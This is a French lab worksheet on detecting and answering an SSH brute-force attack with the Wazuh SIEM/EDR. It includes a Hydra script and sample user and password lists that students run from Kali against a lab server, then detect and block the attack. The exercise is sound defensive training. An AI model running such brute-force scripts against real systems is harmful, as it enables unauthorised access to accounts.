

DÉPLOIEMENT D'UN SIEM-XDR AVEC WAZUH

ACTIVITÉ 3 – RÉPONSE AUX MENACES

Fiche 5 : SIEM WAZUH – Réponse aux incidents

Nous nous retrouvons dans cette activité sur l'utilisation de la fonction d'EDR (*Endpoint Detection and Response* – Détection et Réponse sur les Extrémités) de notre serveur Wazuh pour apporter une réponse active (et non pro-active) à une attaque.

L'objectif est ici :

- d'identifier une attaque
- de répondre à une attaque

TRAVAIL À FAIRE :

A. IDENTIFIER UNE ATTAQUE PAR FORCE BRUTE

Dans cette première étape vous devez simuler et repérer une attaque par force brute sur le serveur CubDHCP et depuis la machine KALI.

1. Simuler depuis la machine KALI une tentative échouée de connexion en ssh vers le serveur CubDHCP et identifier cet évènement sur le serveur Wazuh.
2. Rédiger le script afin de simuler, via l'outil Hydra, une attaque par force brute (multiples tentatives de connexions avec plusieurs utilisateurs et mots de passe) sur le service SSH du serveur CubDHCP depuis la machine KALI.

Sur Kali Linux, Hydra est déjà installé, mais vous pouvez vérifier :

```
sudo apt update && sudo apt install hydra
```

Sur Kali Linux, voici le script « `ssh_brute.sh` » à rédiger :

```
#!/bin/bash

# Script de test de force brute SSH avec Hydra

# Demander l'IP cible
read -p "Entrez l'IP cible : " IP

# Liste des utilisateurs et mots de passe
USER_LIST="users.txt"
PASS_LIST="passwords.txt"

# Lancer l'attaque
echo "[+] Démarrage du test de force brute SSH..."
hydra -L $USER_LIST -P $PASS_LIST ssh://$IP -t 4 -V

echo "[+] Test terminé."
```

Explication :

- L : Liste des utilisateurs.
- P : Liste des mots de passe.
- t 4 : 4 threads simultanés (limite la charge réseau).
- V : Affiche les tentatives en cours.

Contenu des fichiers de test :

- « **users.txt** » (volontairement nous indiquons un vrai utilisateur pour éviter d'être bloqué par un problème à ce niveau) :

```
cubdhcp
```

- « **passwords.txt** » :

```
root
administrateur
test
essai
cubdhcp
```

3. Tester le script en prenant pour cible le serveur CubDHCP et vérifier les résultats sur le tableau de bord des événements liés à la chasse aux menaces de notre serveur CubDHCP.
4. Retrouver la description du « rule.id » ainsi que le niveau de menace.

B. RÉPONDRE À UNE ATTAQUE PAR FORCE BRUTE

Dans cette deuxième étape vous devez paramétrer votre serveur Wazuh pour utiliser pleinement sa fonction d'EDR afin de bloquer temporairement l'adresse IP de l'attaquant, dans notre cas la machine KALI.

5. Configurer la réponse active à une attaque par force brute sur le service SSH en reprenant la démonstration de votre fiche 5 SIEM WAZUH – Réponse aux incidents.
6. Retrouver le détail des événements identifiés après le lancement du script sur la machine KALI permettant de simuler une attaque par force brute sur le service SSH du serveur CubDHCP.
7. Vérifier que votre machine KALI ne puisse plus contacter par « ping » le serveur CubDHCP pendant 180 secondes.